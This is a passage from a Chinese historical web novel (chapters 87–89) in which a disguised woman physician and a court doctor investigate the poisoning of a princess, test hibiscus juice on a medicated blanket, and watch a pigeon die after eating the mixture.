云舟焦急地在院中来回踱步,不时望向院门。时至戌时三刻,公子却仍未回府。往日即便医官院事务再繁忙,此刻也早该下值了。 左等右等不见人影,他心下不安,索性直奔医官院寻人。 在医官院门前恰遇正要出门的沈周。沈周告知他: “云舟兄弟,你来得不巧。今日午后,瑾安公主贵体违和,召了纪医官入宫请脉,至今已有两个多时辰了,尚未归来。” 他见云舟面色焦灼,便好心问道:“你可是有急事?我正巧要入宫一趟,呈送文书。若事情紧要,或可代为通传一声。” 云舟闻言大喜,连忙将沈周拉到一旁,压低声音急切地交代了几句,末了,郑重拱手:“有劳沈书吏,此情云舟铭记于心!” 沈周点头应下,云舟这才略松了口气,转身匆匆离开医官院。 第87章 第87章还不快过来。 公主府外,夜色深重,朱漆大门前高悬的灯笼在晚风中轻轻摇曳,映照着门前肃立、甲胄森严的护卫,以及一位神色凝重、衣着体面的管事嬷嬷。 李璟驾着马车稳稳停在府门前。管事吴嬷嬷认出是荣亲王府的马车,连忙迎上前,脸上堆起恭敬笑容:“老奴给世子爷请安。不知世子爷深夜前来,所为何事?” 李璟利落地跳下马车,回身掀开车帘。孟玉桐提着药箱,低眉顺眼地跟着下了车,站在他身后阴影里。 “听闻姑母中毒昏迷,我心下难安,特来探望。”李璟理了理衣襟,尽力让自己的语气显得自然,说着便要带着孟玉桐往里走。 吴嬷嬷却上前一步,不着痕迹地挡了挡,笑容依旧,语气却带着几分谨慎:“世子爷孝心可嘉,公主殿下若知晓,必定欣慰。 “只是……眼下府中情况特殊,太妃娘娘特意下了严令,为保殿下清净,闲杂人等……实在不便入内。世子爷您自然是无妨的,只是您身后这位……有些面生。” 李璟眉头一皱,语气带上了几分不悦:“怎么?吴嬷嬷是信不过本世子?这是我特地从医官院请来的录事,精通药理,专程为姑母送来些有助于恢复的珍贵药材。嬷嬷这般阻拦,莫非是不希望姑母早日康复?” 吴嬷嬷脸上显出几分为难,身子却依旧挡在前面,赔着小心道:“世子爷言重了,老奴万万不敢!只是太妃娘娘严命在先,老奴也是奉命行事,实在不敢徇私通融,还望世子爷体谅……” 就在几人僵持不下之际,府门内转角处的阴影里,传来一道清冷低沉的嗓音:“吴嬷嬷,无妨。那是我医官院的人,让她进来。” 话音未落,一道落拓清隽的身影自廊柱后缓步走出。 纪昀抬起眼,目光越过李璟,径直落在孟玉桐身上,“杵在那里作甚?还不快过来。” 孟玉桐没料到会在此处遇见他,心下微讶,但反应极快,没有丝毫迟疑,立刻绕过李璟,快步迈上台阶,极其乖顺地停在了纪昀身侧,姿态恭谨,看不出错处。 李璟神色一滞,心头莫名有些发堵,却也不好说什么,只得转向吴嬷嬷,语气硬邦邦地:“如何?现在可还要拦着?” 有纪昀亲自作保,吴嬷嬷哪里还敢再拦,连忙侧身让开,躬身赔罪道:“纪医官恕罪,世子爷恕罪!老奴也是担忧公主殿下安危,绝无他意,绝无他意!几位贵人快请进!” 三人这才得以入内。行至一处四下无人的回廊转角,纪昀蓦地停下脚步,缓缓转过身。 廊下灯光昏暗,勾勒出他清瘦的侧影。他目光淡淡,扫过站在身后两步远处、一左一右的孟玉桐与李璟,最终定格在孟玉桐那身不合体的男装上,眉头几不可察地蹙起。 照隅堂出事的事情他也是方才才知道。今日入宫替瑾安看诊,按往常的样子,本来至多一个时辰他便能出宫。可今日在他被传召入宫后,瑾安却推说自己不太舒服,要休息一会儿再看,于是这么一来二去等了许久,耽误了不少时间。 沈周入宫后特意寻他,同他说了照隅堂的情况,他心中不安,匆匆诊断完毕,写了药方,嘱咐了一并的事宜,便出了宫。 他并未立刻赶往照隅堂,而是直接来了公主府,瞧了瞧姨母的状况。看看究竟是怎么回事。 此刻看向出现在此的孟玉桐,他心头掠过一丝烦躁。 “怎么回事?”他声音压得低,带着一丝紧绷,“为何会是这般打扮出现在此地?” 他x更想问的是,她为何会与李璟一同前来,二人之间的关系何时变得如此熟稔? 只是这句话在唇齿间辗转片刻,终究还是咽了回去,化作眼底一抹深深暗色。 李璟干笑一声,抢着解释道:“表兄,是这么回事。照隅堂不知怎地被官府的人围了,说孟玉桐她涉嫌……涉嫌毒害姑母。她托人给我传了信,我便去将她接了出来,想着一起来公主府探探究竟,看能否帮上忙,没成想在这儿碰上你了。” 他顿了顿,急切地问,“表兄,你可是一直在公主府中?可知姑母眼下情形如何?好端端的,怎么中毒了?中的什么毒?又怎么会说是孟玉桐下得毒呢?” 李璟这一连串的发问让他心中那抹烦躁之意更甚。 纪昀听完,眉头微不可察地蹙紧,目光转向孟玉桐,眸色深沉似海,内里情绪翻涌难辨,最终只化作一片幽深的平静。 孟玉桐迎着他的目光,坦然点头:“李世子所言,便是事情经过。” “你们二人,胆子倒是不小。”纪昀的声音听不出什么波澜,视线却依旧胶着在孟玉桐身上,见她脸上仍是那副云淡风轻的模样,心底那抹烦躁渐渐转为一股难言的涩意,出口的声音也跟着变得艰涩,“方才若非我恰巧经过,你们预备如何收场?” 他语气微顿,又带上一丝淡淡的冷峭,“说起来,此前明远行事多有孟浪,对照隅堂亦曾有所冒犯,我还担忧孟大夫心中会存有芥蒂。如今看来,倒是纪某狭隘了。孟大夫心胸开阔,不念旧恶,值此危急关头,竟能向曾经的对头求助,着实令纪某刮目相看。” “表兄,过去的事还提它作甚!我与孟姑娘早已冰释前嫌!”李璟脸上泛起一丝赧然,忙不迭地解释,语气甚至带着点维护之意,“而且我看你对孟姑娘偏见颇深,她哪里是记仇之人?分明豁达得很!我们方才一起乘马车过来时,她还叫我怎么经营八珍坊,给我提了许多好点子呢!我们如今相处得甚好,表兄不必担心。” 他不开口还好,这一番急于撇清他过往行事、又隐隐透着亲近意味的解释说完,只觉得纪昀周遭的气压仿佛更低了些,那本就清冷的面容上,似乎连最后一丝暖意也褪尽了。 李璟瞧着纪昀的模样,莫名挠了挠头,实在想不明白,自己究竟是哪句话说错了。 孟玉桐一只手捏着挂在肩头的医箱系带,指节泛着几分冷白。她清晰地感觉到,纪昀今日的态度透着不寻常,言语间甚至带着若有似无的锋芒。 他素来是个喜怒不形于色的人,心思深沉难测,正因如此,前世与他相处时,她时常感到疲惫,总在揣度他的情绪,却始终触不到他心底的真实一面。 那时她不止一次想过,若他的性子能再简单些,对她能再多敞开一丝心扉,该有多好。 可今生,时移世易,她早已没了那份揣度他心思的耐心与情愫。 此刻再看他这般反常的模样,孟玉桐只觉得此人实在有些莫名其妙。 好端端的,说这些做什么。 “不过是一些无关紧要的旧事,眼下并非谈论这些的时候。” 她语气平静,直接将那点微妙的气氛揭过,“方才多谢纪医官替我解围。当务之急,是公主殿下的安危,我想亲眼去看看公主殿下,确认她究竟是何情况。” 一旁的李璟瞧见孟玉桐的右肩被那沉甸甸的医箱带子压得微微下沉,本就宽大的不合身男装更被扯得有些歪斜。 他下意识伸手,想去托一把那药箱。 然而,他的手尚未触及,纪昀已先他一步,动作自然地将药箱从孟玉桐肩上卸下,稳稳提在自己手中。 “我已初步诊视过,”纪昀的声音恢复了惯常的冷静,条理清晰,“姨母确是中毒之兆。只是所中何毒,一时难以断定。我已命人将殿下房中所有日常接触之物,皆取样一份,快马送往医官院交由陈玢查验。待那边验明毒物,方能对症施治,亦可还你清白。你既想亲眼确认,我带你过去。” 他转而看向李璟,“人多眼杂,反易生事端。你不妨先在此处稍候,待我们查明情况,再来与你会合。” 李璟伸出的手僵在半空,最后只能讪讪地握成拳,不情不愿地扁了扁嘴:“就多我一个嘛?我说不定……也能帮上点忙呢。” 纪昀淡淡瞥他一眼,问得直接:“你能帮什么忙?” “我……”李璟下意识想反驳,张了张嘴,急切地想证明自己有用,目光不由得投向孟玉桐,带着求助的意味,“我可以……” 孟玉桐也看向他,眼神里带着些许无奈。 平心而论,纪昀说得在理,人多确实不便,李璟留在此处接应更为稳妥。可他才刚帮了自己,她实在说不出拒绝的话。 半晌,李璟像是认命般,肩膀垮了下来,无奈地摆摆手:“算了算了,你们去吧。小心些,早点回来。” 纪昀侧身让出通路。孟玉桐朝李璟微微颔首,便与纪昀一同朝公主寝殿方向走去。 看着纪昀手中提着的自己的医箱,孟玉桐开口道:“还是我来拿吧。” 纪昀目光直视前方,脚步未停,只淡淡道:“名义上,是我前来看诊。做戏需做全套,不必见外。” 孟玉桐闻言,便不再多言,安静地跟在他身后。两人一路畅通无阻,径直来到景福公主所居的寝殿外。 殿门外守着两名垂手侍立的宫女,阶下还有一队队巡逻而过的护卫。这些人显然都认得纪昀,见他过来,纷纷躬身行礼,无人阻拦。 门外值守的宫女见是纪昀,立刻无声地将殿门推开一道缝隙,请他入内。 孟玉桐始终低垂着头,跟在纪昀身后。 然而就在她迈过门槛的瞬间,仍敏锐地察觉到一道带着探究的视线落在自己身上——是站在门边的一名宫女,绿绒。 她前不久在公主府与绿绒才打过交道,上一回在青岚寺又与她有过接触,今日这身粗浅的伪装,恐怕未能瞒过她的眼睛。 不过,不知是绿绒并未看清,还是她无意戳破,孟玉桐终是顺利跟着纪昀进入了内殿。 纪昀引着她径直走向景福公主的床榻。 孟玉桐凝目望去,但见景福公主双目紧闭,面无血色地躺在锦被之中。她平日里那副趾高气扬、鲜活凌厉的模样荡然无存,此刻一动不动地躺在那里,竟显出几分罕见的脆弱与安静。 那张扬舞爪的气势收敛后,眉目间反倒透出一种近乎斯文秀静的错觉,与平素判若两人。 “纪昀,”孟玉桐低声道,“我想为她诊脉。” 纪昀闻言,引她在床榻旁的绣墩上坐下,随即将医箱轻放在一旁的矮几上。 他打开箱盖,动作熟练地将里面的脉枕、覆腕用的素色丝帕一一取出,为她摆放妥当,声音低沉:“开始吧。” 孟玉桐凝神静气,手指轻轻搭上景福公主的腕脉。 指下脉象沉凝滞涩,往来艰难,确是中毒之征,且毒性颇为刁钻,盘踞不去。 她又小心地翻开公主的眼睑,察其瞳色,再观其舌苔,见这些部位虽显虚弱,却尚未出现骇人的异色,心下稍定,中毒似乎还未至肺腑深处。 “我之前已为她行针,护住心脉要害,约莫能争取三四日时间。”纪昀在一旁沉声开口,目光落在景福苍白的脸上,“若在此期间无法查明毒物,配出解药,只怕……性命堪忧。” 孟玉桐点了点头,表示明白。她沉吟片刻,对纪昀道:“我想再查看一下别处的情况。你……先转过去。” 纪昀虽不明其意,但仍依言转过身去。孟玉桐轻轻掀开覆在景福公主身上的锦被,又将她的裤腿小心挽起。 乍看之下,双腿肌肤并无异样,但当她用手指细细按压时,却能清晰地感觉到肌肉异常僵硬,气血瘀堵之象远比脉象所显更为严重。 孟玉桐神色凝重。这毒会从景福最脆弱的地方开始攻击,若不及时找出解决之法,她这腿恐怕情况危险。 可这毒究竟是从何而来? 明明她亲手熏制的药毯绝无问题。问题究竟出在何处? 她指尖无意识地收紧,脑中倏然闪过一个念头x。 上一世,景福公主在生辰宴后并未中毒昏迷,唯一一次中毒便是后来的秋海棠之毒。 可秋海棠毒性猛烈,中之即刻七窍流血、容颜枯萎而亡,绝非眼下这般缠绵的症状。 “纪昀,”她压低声音,语气急促,“公主昏迷后,是谁下令查封照隅堂?他们又是凭借何种证据,断定是我所赠之物出了问题?” 眼前迷雾重重,但她心知必须保持清醒。当务之急,是为景福解毒,并洗刷自己的冤屈。 第88章 第88章我今夜便在此处歇下。 纪昀闻声回过头,见她已诊察完毕,便上前动作熟稔地收拾起榻上的脉枕丝帕,将其一一仔细收拢,放回医箱。 “是贤太妃下的令。姨母中毒昏迷之后,圣上大怒,太妃下令严查公主府上下,查出姨母生辰时所收的一块药毯,医官查明,其上有不明来由的药汁。” 就在他整理时,指尖无意中碰触到箱内一角,一方素帕包裹的物事微微散开,露出了里头那对白玉兰耳坠,在室内昏黄的灯火下,流转着温润莹亮的光泽。 他的动作明显顿住,停滞了数息,眸色暗沉,最终却什么也未问,只默然将箱盖合拢。 孟玉桐并未留意到他这细微的异样,思绪仍沉浸在方才的疑团中:“照你方才所言,是贤太妃下的令。说我那药毯上查出了不明药汁。可我的药毯乃是以药材干蒸熏制而成,根本不曾沾染任何药汁。这分明是有人后来添加上去的。” 会是谁? 贤太妃?她与自己素昧平生,以其身份地位,似乎没必要如此大费周章地陷害一个民间医女。 那么,极有可能就是真正的下毒者,意图嫁祸。 “如此说来,我送来的那方药毯,如今是在太妃手中?” 纪昀似乎有些神思不属,被她的话音拉回,接口道:“我方才收集姨母近日常用之物时,并未见到你那方药毯……” 话音未落,门外传来一阵极轻的叩门声。 两人立刻噤声。纪昀沉声道:“进来。” 进来的是宫女绿绒。她步履轻悄,进来后并未多看纪昀,反而径直走到孟玉桐面前,福了一礼,低声道:“孟大夫,奴婢有件东西,要交给您。” 孟玉桐与纪昀对视一眼,皆从对方眼中看到了警惕与询问。 绿绒既已识破她的身份却未声张,此刻冒险前来,必有要事。 果然,绿绒小心翼翼地从一个不起眼的矮柜与墙壁的夹缝中,取出一方折叠得整整齐齐的绒毯。 正是孟玉桐当日所献的药毯。 她将毯子双手奉上,声音压得更低:“公主昏迷得蹊跷,今日太妃派来的人将府里翻查了个底朝天。查验的医官指认这毯子上沾有不明药汁,疑为毒源。可奴婢清楚记得,这两日殿下并未使用过此毯。 “奴婢觉得事有可疑,便趁他们不备,悄悄将此毯藏起,另取了一床殿下平日盖的花样相似的薄被充数。幸而无人察觉。孟大夫,奴婢虽不知内情,但相信您绝不会毒害殿下。您一定有办法治好公主的,对吗?” 孟玉桐接过毯子,就着灯光细看,果然在那骏马奔腾的绣样中,一匹马的额顶处,沾染了两三点已干涸的浅粉色药渍,十分突兀。 她心中震动,郑重地向绿绒欠身一礼:“绿绒姑娘,多谢你。此恩,孟玉桐铭记于心。” 绿绒连忙侧身避让,脸上露出一丝勉强的笑意:“孟大夫言重了。奴婢只愿您与纪医官能早日查明殿下所中何毒,让殿下恢复康健。” 孟玉桐又细细询问了公主近日起居,尤其是今日的行程细节。 绿绒知无不言:“殿下今日晨起用了薏米红枣玫瑰粥并几样小菜,饮了半盏参汤。菜都是宫中专人送来的,粥里的玫瑰是园子里采摘的,从前一直都是这么用。 “随后至园中散步,亲手采了几支初开的粉色木芙蓉,插瓶置于案头。看了会儿书后,近午时坐在妆台前试戴了几支新得的玉簪……不久后,便忽然晕厥了。” 孟玉桐一边听,一边目光再次缓缓扫过寝殿。依据绿绒所述,公主的饮食起居看似并无特异之处,况且纪昀已将这些物品取样送检,若有问题,医官院那边应当很快会有回音。 可她心中那股不安却愈发强烈。下毒之人行事如此周密,连嫁祸都安排得恰到好处,岂会留下如此明显的破绽?从那些物件里头,只怕查不出什么。 纪昀让绿绒先行退下,见孟玉桐眉宇深锁,出声安慰道:“她方才提及的饮食、用物,乃至衣饰,我都已仔细查过,拿不准的也已取样送回医官院。不必过于忧心,相信很快便会有结果。” 孟玉桐起身,缓步走向寝殿内侧的梳妆台。她的目光落在案头那只白瓷瓶中,里面插着几支娇艳欲滴的粉色木芙蓉。 “这个,可曾查验过?”她指向那抹鲜妍的粉色。 “取了一朵,已送回医官院。”纪昀答道。 孟玉桐的视线随即被窗台上一只小巧精致的甜白瓷盒吸引。她上前打开盒盖,里面是色泽红艳饱满的口脂,是那日瑾安公主亲手所赠。 “那这个呢?”她指尖轻点瓷盒,“可曾验看?” 纪昀摇头:“此物虽已启封,但姨母并未用过,其上并无使用痕迹,故而未曾特意取样。” 孟玉桐微微眯起眼眸,一股难以言喻的直觉在心底升起。药毯上那几点突兀的浅粉色药渍,与眼前瓶中木芙蓉的颜色何其相似。 而她清楚地记得,当日献上药毯时,瑾安公主曾借欣赏之名,亲手触摸过毯面。 她闭上眼,极力回溯那日的场景。毯子由两名宫女左右展开,骏马奔腾的图案居于正中,瑾安伸手抚摸的位置,似乎……就在中心偏右的区域。 她立刻将手中的药毯再次抖开,目光精准地落在那几点粉色污渍上——它们所处的位置,竟与记忆中瑾安指尖停留的方位隐隐重合。 纪昀察觉到她神色骤变,周身竟泄露出几分罕见的焦灼之气,不禁关切低问:“发现了什么?” 孟玉桐没有立刻回答。她迅速将药毯折叠收起,随即打开自己的医箱,取出一块洁净的白绢。 走到窗边,她小心地折下一朵粉嫩的木芙蓉,又回到妆台前,用随身携带的银簪从口脂瓷盒中轻轻剜取少许,同样用白绢仔细包好。 将这两样东西妥善放入医箱后,她才转向纪昀,语气决然:“我们回去。” 纪昀看见她动那瑾安所赠的口脂,眼中掠过一丝深沉的探究,但见她无意解释,便也按下不问。 他重新提起医箱,将药毯掩于箱底,两人一前一后,悄无声息地退出了寝殿。 一路畅通无阻,直至公主府大门。孟玉桐脚步微顿,忽然想起还被留在府内的李璟。 纪昀仿佛看透她的心思,对候在一旁的吴嬷嬷淡然道:“有劳嬷嬷转告世子,纪某有要事需先行一步,请他亦早些回府歇息,不必再等。” 吴嬷嬷连忙躬身应下。 吩咐完毕,纪昀便引着孟玉桐径直上了自家马车。早已在转角处等候多时的云舟见到孟玉桐这身装扮,先是一愣,随即会意,利落地请二人上车。 马车并未驶向纪府,而是直接回到了照隅堂。纪昀与孟玉桐先后下车,他对云舟吩咐道:“你先回去,我今夜便在此处歇下。” 云舟愕然:“啊?公子,这……” 他还想再问,纪昀已转身与孟玉桐一同走向医馆大门。 门口守卫的护卫见有人靠近,立刻上前欲拦。 纪昀神色不变,自怀中取出一枚刻有特殊纹样的玉牌,亮于众人眼前。那几名护卫一见玉牌,顿时噤若寒蝉,眼睁睁看着纪昀推开医馆大门,与孟玉桐坦然入内。 待人进去后,一个站得近的护卫挠了挠头,与同伴面面相觑:“这位……也是来看病的?” 旁边的人耸耸肩,压低声音:“谁知道呢?上头只吩咐看好门,不许里头的人出来,可没说不让外头的人进去啊。” 几人觉得有理,互相点了点头,重新板正脸色,在门口一字排开,继续值守。 医馆内,白芷和吴明听到前堂动静,急忙迎了出来。 “姑娘!纪医官!”白芷见到两人,尤其是孟玉桐安然归来,明显松了口气,虽疑惑为何是同纪昀一起回来,但此刻也顾不上细问,连忙追问,“姑娘可去了公主府?究竟是怎么回事?” 孟玉桐言简意x赅地将事情经过告知二人,并嘱咐他们自己接下来要闭关查验药毯,寻找线索,让他们自行安排,无需打扰。 “对了,石宇呢?”孟玉桐看向吴明。 方才李璟带着石宇进来,她换了石宇的衣物跟着李璟混了出去。如今只能暂且委屈石宇在此暂住了。 吴明指了指二层,道:“他早就歇下了,当家的不必担心。” 他倒是担心吴林,也不知道那个老家伙替他们传完信后去哪里安顿了。 孟玉桐看向纪昀:“医官院那边,若有任何消息,还望纪医官及时告知。” “自然。”纪昀手中仍提着她的医箱,语气平稳,接着道,“查验之事,我可从旁协助。多一人,多一分力,或能早些查明姨母所中何毒,也好尽快配制解药,让她脱离险境。” 值此危急关头,孟玉桐也不再与他客套。她让白芷和吴明去将她此前熏制药毯所用的各类药材,按原方重新备齐一份送来。 接下来,她便全心投入到对那方药毯的检验中。 她先是取来一个特制的铜盆,于其下置入炭火,保持微温,将药毯局部悬于盆上,利用温和的热力缓缓烘烤。 不多时,毯子纤维深处便有些许极细微的、与原本药材色泽不同的粉末渐渐析出。 孟玉桐用几片干净的琉璃片,小心翼翼地将从毯子不同区域,尤其是那粉色污渍周边,收集到的析出物分别盛放。 纪昀则在一旁,将她收集到的这些细微粉末,与她原本用来熏制的药材一一进行比对,仔细观察其形态、色泽与气味的异同,试图找出其中可能混入的不明成分。 第89章 第89章先来找我 在细致的比对中,孟玉桐发现,沾染了粉色汁液的那部分药毯,经烘烤后析出的粉末,在色泽上与其他部位有着细微的差异。 她亲自执起那片琉璃,凝神分辨,确认其中确实混入了一味原本药方中绝不存在的东西。 然而,任凭她如何回想、比对,也无法立刻辨识出这多出的成分究竟为何。她只得将琉璃片递向身侧的纪昀,“你来看看这个。” 两人便凑在灯下,头几乎抵着头,仔细审视那点微末的异色粉末。 孟玉桐看得投入,下意识地将琉璃片凑近鼻尖,想嗅其气味,因太过专注,鼻尖几乎要触到粉末。 纪昀眸色一凝,不及多想,已伸出手指,轻轻抵住她的额头,将她的姿势往后带开了几分。 孟玉桐动作一顿,略显茫然地抬眼看他。 纪昀已若无其事地收回手,语气平淡,听不出波澜:“费尽心力才得了这么一点,小心全吸了进去,届时看你还能查什么。” 孟玉桐闻言,觉得有理,便不再冒险去闻,转而将那盛着粉末的琉璃片小心置于桌面,又将收集其他粉末的小瓶盖一一拧紧。 “暂且看不出头绪,先放一放。” “你不是还从公主府带了别的东西回来?”纪昀提醒道。 孟玉桐点头,从医箱中取出那方包裹着木芙蓉花瓣与口脂的素绢,在桌上摊开。 她指着那粉嫩的花瓣道:“我观此花色,与毯子上那抹汁液的色泽极为相近。公主府中陈设用物,多为浓艳重彩,此类浅淡娇嫩的粉色本就不多。 “且那毯上汁液,虽只一点,细观其色,浓淡过渡并不均匀,不似精心调制的药水,反倒像是……天然花汁沾染所致。” 纪昀立刻领会了她的意思:“你怀疑那不明汁液,源于此花?” 见孟玉桐颔首,纪昀垂眸略一思忖,便道:“是与不是,一试便知。” 他取下一片木芙蓉花瓣,用玉杵在白玉盏中细细碾磨,挤出粉色的汁液。 随后,他将药毯再次展开,用洁净的银簪蘸取少许新榨的花汁,轻轻点在毯面一处空白,待其自然干透。 两人俯身,将新点上的花汁与原先那处不明污渍并置比对,无论是色泽、浓淡,乃至干涸后的纹理,竟都一般无二。 为求稳妥,纪昀依样画葫芦,将新沾染了花汁的那块区域同样以微火烘烤,收集析出的粉末,与之前存疑的粉末并排比对。 “确是此花花汁无疑。” 纪昀得出结论,眉头却未舒展,“然木芙蓉本身无毒,其汁液亦是无害之物。可太妃的人,却偏偏指认这汁液有问题……” 他沉吟道,“明日我亲去医官院一趟,看看陈玢那边的查验有何进展。” “也只能如此了。”孟玉桐轻叹,揉了揉有些发胀的额角。 窗外夜色已深,烛火也跳动得略显疲乏。 纪昀看向她,只见她一头青丝高束,虽作男装显得清爽利落,但眉宇间的倦色却难以掩饰,“时辰不早,今夜怕是难有更多进展,你不若先去歇息,养足精神,明日再议。” 孟玉桐亦抬眼看他,灯火在她清澈的眸中映出两点暖光,她语气真诚:“纪昀,今日,多谢你。” 她这一句感谢之言纯粹而直接,不掺杂多余情绪。 纪昀看着她疲惫却仍强撑的模样,心头莫名被什么东西轻轻刺了一下。 他移开视线,整理着桌上散落的器具,声音放缓:“同你说过多次了,你我之间,不必如此客套。况且,景福公主亦是我的姨母,查明真相、助她康复,本就是我分内之事。你早些去休息罢。” “那你也早些休息。”孟玉桐说着,便欲起身。 她想着明日还要继续,桌案上的东西便未收拾,打算留着明日再用。 纪昀也随之站起,见她转身欲走,心中几番挣扎,终是在她迈步前开口:“孟玉桐,往后若遇难事,可否先来找我?” 孟玉桐驻足回眸,眼中带着淡淡的疑惑,更深的是不解。 她顿了顿,认真道:“我印象中,你并非爱管闲事之人。我们之间的关系,似乎也未到事事相托的地步。” “那你与李璟之间呢?”纪昀的声音微哑,医箱中那对白玉兰耳坠的影子在他心头挥之不去,激起层层涩意,“我与你相识在他之前,相处时日亦远多于他。在你心中,难道与他反倒更为亲近些么?” 孟玉桐神色平静,“我记得同你说过,我不喜亏欠人情。他今日助我,来日我亦可帮他。界限分明,彼此都清爽,不麻烦。” 纪昀凝望着她。 灯下的她,身形纤细却站得笔直,宛如一轮独行于冷夜的天心明月,清辉遍洒,却难以接近;又似一弯深谷幽泉,静水流深,触手冰凉。 她明明就站在眼前,衣摆被窗外渗入的夜风微微拂动,身影清晰,却仿佛隔着一重无形的、难以逾越的山水,遥远得让他心生无力。 他沉默片刻,再开口时,声音低沉了许多:“或许我从未向你提及。我并非纪家长子。我之上,曾有一位兄长。” 孟玉桐眼中掠过一丝讶异。 纪昀还有一位兄长?此事她竟闻所未闻,即便是上一世嫁入纪家那段时日,也未曾听人提起。 可他为何忽然说起这个? 见她面露疑惑,纪昀唇边泛起一丝带着些许苦涩的笑意:“我兄长当年医术卓绝,堪称少年天才,心怀济世宏愿,曾立志编纂一部旷世医书,网罗世间疑难杂症,惠泽后人。只可惜天不假年。” 他目光落在孟玉桐脸上,带着一种复杂的难辨的情绪,隐隐透出些恳切的意味:“我同你说这些,是想告诉你,你的医术天赋与见解,远非常人可及。与你相识共事的这些时日,我从你身上获益良多。他日若续写兄长未竟之书,其中必有诸多疑难,需向你请教讨论。” 他微微停顿,似是淡淡吸了一口气,“所以,往后你若再遇难处,不必舍近求远。尽量来麻烦我。今日我帮你,来日你帮我。玉桐的待人处事之道,我亦深以为然。” 孟玉桐闻言,眉头舒展几许,只微微颔首,言辞得体大方:“纪医官过誉了。此番相助,玉桐铭记。他日若在医道之上,有需玉桐尽绵薄之力之处,但请直言,必当竭诚以报。” 她的话语依旧客气周全。 纪昀听在耳中,唇边却泛起一丝清浅的笑意,那笑意驱散了些许他眉宇间常驻的冷峻,竟透出几分如释重负般的舒朗。 夜风涌起,掠过院中石榴树枝叶,发出舒缓低杂的沙沙声。 “自然如此。”他应道,眼中眸色清朗,声音较平日温和些许。 * 景福公主府那一边,李璟在园中等得心焦如焚,来回踱步,这么久了两人还没回来,他生怕孟玉桐那头出了什么差x池。 正不安时,瞧见吴嬷嬷步履匆匆地朝他走来。 吴嬷嬷行至近前,毕恭毕敬地福身道:“李世子,纪医官与其随行的录事已然离府。他特意吩咐老奴前来禀告一声,请您自行回府歇息,不必等他们。” “什么?他们先走了?”李璟瞪大了眼睛,难以置信地指了指自己,胸口一股闷气陡然升起。 吴嬷嬷点头确认,再次委婉催促:“是啊,世子殿下也请早些回府安歇吧。” 李璟忍不住轻声“啧”了一下,只觉得一股难以言喻的憋屈堵在胸口,不上不下。 人分明是他费尽心思带出来的,怎么纪昀说带走就带走了?还有那孟玉桐,有了纪昀帮忙,便将他这个抛诸脑后了么?好一出过河拆桥! 再说了,他们离开时,顺道等等他能耽误多少工夫? 他越想越气,一股无名火直冲脑门,猛地一甩衣袖,带着满身的悻悻然,头也不回地大步朝府外走去。 哼,他还不稀罕掺和呢! 乐得轻松,正好回去睡他的大头觉! * 翌日清晨,约莫辰时末,金色的晨曦洒满照隅堂的后院,秋风送爽,带来阵阵草木清气,檐下鸟雀啾鸣,更添几分宁和。 院中那棵老柿子树绿叶蓁蓁,枝桠间挂着一只竹编鸟笼,里头关着的正是刘思钧寄养在此的鸽子。 今日天气晴好,孟玉桐一早便将它拎出来透气晒太阳。 天刚蒙蒙亮时,她便已坐回院中的石桌旁,对着昨夜未能理清头绪的那些药粉、花汁继续琢磨。 她脚边放着一只竹笼,里面是几只精神抖擞的活鸡。 外头守着的护卫允人送饭,这几日的吃食便是由孙大娘送的。今日孙大娘送来些简单的早饭后,孟玉桐特意嘱咐,请她带了一筐活鸡来。 她重新研磨了些许新鲜的木芙蓉花汁,将其与自己熏制药毯的几味主药混合,然后从笼中抓出一只鸡,小心翼翼地将混合了花汁的药糊喂其服下,并用笔在鸡翅的羽毛上做了记号,以便区分观察。 正忙碌间,前堂传来一阵熟悉的说话声,似是纪昀回来了。 孟玉桐立刻停下手上的动作,起身快步走向前堂,恰好与正欲来后院寻她的纪昀迎面遇上。 “如何?”孟玉桐迫不及待地问,“昨日送去医官院的那些样本,陈医官查验的结果怎样?” 纪昀摇了摇头,神色微有几分凝重:“陈玢带着人反复查验了三遍,从公主府取样送去的所有物品,包括那木芙蓉花在内,皆未检出任何毒性。” 见孟玉桐脸上闪过一丝失望,他沉吟片刻,放缓声音安慰道:“莫要心急。既然明面上的单样物品皆是无毒的,或许导致姨母中毒的根源,并非单一之物。 “姨母身份尊贵,若直接在饮食起居中用剧毒,目标太过明显,极易引火烧身。若我是那下毒之人,定不会行此粗浅险招。” 孟玉桐垂眸,细细想着他的话。纪昀的想法与她不谋而合。她其实对于那批送去医官院校验的样本并不抱多大希望。 她也倾向于认为,真正的毒源是多种看似无害的东西,在特定条件下结合,才产生了致命的毒性。 唯有如此,排查起来才困难重重,对幕后之人而言,也才最为安全。 两人就这这个思路,又往下讨论了几句。 此时,后院柿子树下闹出些许动静。 石宇早已起身,吴明安排他用了早饭,便让他在院中随意走动。 他行至柿子树下,瞧见笼中鸽子,一时兴起,不知从哪儿摸出一把谷子逗弄起来。 那鸽子吃得欢快,不时扑棱着翅膀,显得精力旺盛,一副亟欲挣脱牢笼的模样。 或许是它动静太大,伸着脖子急切啄食时,竟不慎将脑袋卡在了笼子的竹栅之间,顿时惊慌地“咕咕”乱叫起来。 地上笼子里的鸡群被这突如其来的声响惊扰,也跟着“咯咯”大叫,小小的院落霎时间鸡飞鸽跳,喧闹不堪。 石宇见状,连忙手忙脚乱地打开鸟笼,伸手进去解救那只莽撞的鸽子。 好不容易将它掏出来,那鸽子一得自由,立刻恢复了精神,“呼啦”一下从他手中挣脱,在小院上空低飞盘旋起来。 石宇急忙去追,却次次扑空。那鸽子最后竟一个俯冲,稳稳落在了孟玉桐摆满了药粉的石桌上,歪着脑袋瞧了瞧桌上那碗刚研磨好的、带着粉色汁液的花药混合物,竟伸长脖子,“笃笃”两口,飞快地啄食了一些进去! “哎呦!小祖宗你可别乱吃啊!”石宇见状大叫不好,慌忙去找吴明帮忙。 两人在院子里围追堵截,那鸽子却灵活得很,总能从他们手边溜走。 院中的动静实在太大,终于惊动了正在前堂说话的孟玉桐与纪昀。两人相视一眼,立刻快步走向后院。 “当家的!快!快吹你那训鸽哨!”吴明累得气喘吁吁,一见孟玉桐,如同见了救星,指着那鸽子大喊,“这家伙无法无天,刚才不知吃了你桌上什么东西,可千万别给毒死了!” 孟玉桐眉头紧蹙,不及多想,立刻屈指置于唇边,正欲吹响哨音。 却见那原本还在绕着石桌扑腾的鸽子,飞行轨迹猛地一滞,脖颈怪异地一梗,随即像块石头般,“砰”地一声直直坠落,重重砸在石桌上,双腿抽搐了几下,便彻底不动了。 吴明和石宇累得弯下腰,双手撑着膝盖大口喘气,目瞪口呆地看着眼前这突如其来的一幕。 